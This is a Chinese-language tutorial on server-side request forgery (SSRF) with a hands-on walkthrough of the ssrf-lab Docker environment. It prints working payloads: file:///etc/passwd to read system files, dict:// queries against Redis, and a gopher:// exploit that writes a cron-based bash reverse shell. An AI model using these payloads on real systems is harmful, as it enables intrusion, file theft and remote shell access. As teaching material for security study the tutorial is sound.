一、SSRF简介
服务端请求伪造,用户通过 WEB 访问/上传/发出请求,绕过服务器防火墙,获取服务器及其内网信息。SSRF 可以说是一个媒介,结合服务器中的服务,常常可以形成一条完整的攻击链。
可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
二、漏洞原理
正常用户访问网站的流程是:
输入A网站URL –> 发送请求 –> A服务器接受请求(没有过滤),并处理 –>返回用户响应
那网站有个请求是www.baidu.com/xxx.php?image=URL
那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据
例如
www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果我们将www.abd.com/1.jpg
换为与该服务器相连的内网服务器地址会产生什么效果呢?
如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会返回其他的状态码
简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
三、可能出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
四、利用方式
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
五、实验验证
5.1 环境搭建
$ curl -sSL https://get.docker.com/ | sh #脚本安装docker
$ apt install docker-compose #安装docker compose
从github上下载ssrf漏洞环境,按照下面的命令把 basic 这一关搭建好,其他的基本相同。在创建容器的时候避免出冲突,端口 8999 在设置要注意,避免与本地已开启端口产生冲突。
$ git clone https://github.com/m6a-UdS/ssrf-lab.git
$ cd ~/ssrf-lab/basics #进入basics文件夹
$ docker build -t ssrf-lab/basic . #构建镜像
$ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
$ docker ps #查看ssrf-lab/basic容器编号
$ docker stop [容器编号] #关闭容器
在 Advances 系列的文件夹还有 ctf 中没有 dockerfile 文件,只有 docker-compose.yml 文件,这时候我们就要在构建镜像的时候就换 docker-compose 来创建镜像并开启容器了。
$ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
$ docker-compose up -d #开启容器
$ docker-compose down #关闭容器
访问页面,如图所示
5.2 basic
我们先用http://127.0.0.1
进行测试。
发现数据显示出来了,说明这里没有对内网 IP 进行限制。
为了进一步进行测试,我们来了解一下 URL 的结构。
scheme://user:pass@host:port/path?query=value#fragment
从结构中我们可以看出不同的 SSRF 的利用姿势,有协议、URL 绕过等等。这一关就尝试从协议入手,用 file 协议代替 http 协议或者 https 协议。在测试点输入file:///etc/passwd
我们可以得到用户文件,我们也可以通过这样的方式获得其他文件
成功之后我们可以通过深挖配置文件和源代码进行我们进一步的渗透,比如获得数据库的用户凭证。这里成功实现是因为URL没有经过严格的过滤,更准确地说应该是完全没经过过滤,下一关不会这么简单了。
看了很多教程都是结合 Redis 服务一起讲的,为了方便介绍下面几个协议,我们先在 ssrf-basics 容器里面安装该服务。
$ docker ps #查看容器编号
$ docker exec -it xxxxx(容器编号) /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务
这一关可以利用协议收集信息及反弹 shell,都是没用协议白名单的锅,导致多个协议利用起来毫无阻力。
- file
上面尝试的过的file:///etc/passwd就是利用了file协议,利用这个协议可以读取主机内任意文件。 - dict
利用dict协议,dict://127.0.0.1:6379/info可获取本地redis服务配置信息。
还可以用dict://127.0.0.1:6379/KEYS *获取 redis 存储的内容 - Gopher 协议
通过 Gopher 协议可以反弹 shell,下面为具体的 exp
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
这个看起来不太清晰,urldecode 之后,就可以看到具体的命令。下面为解码之后的内容,我把关键的 redis 指令放到同一行中
在页面能看到如下的回显
在容器中可验证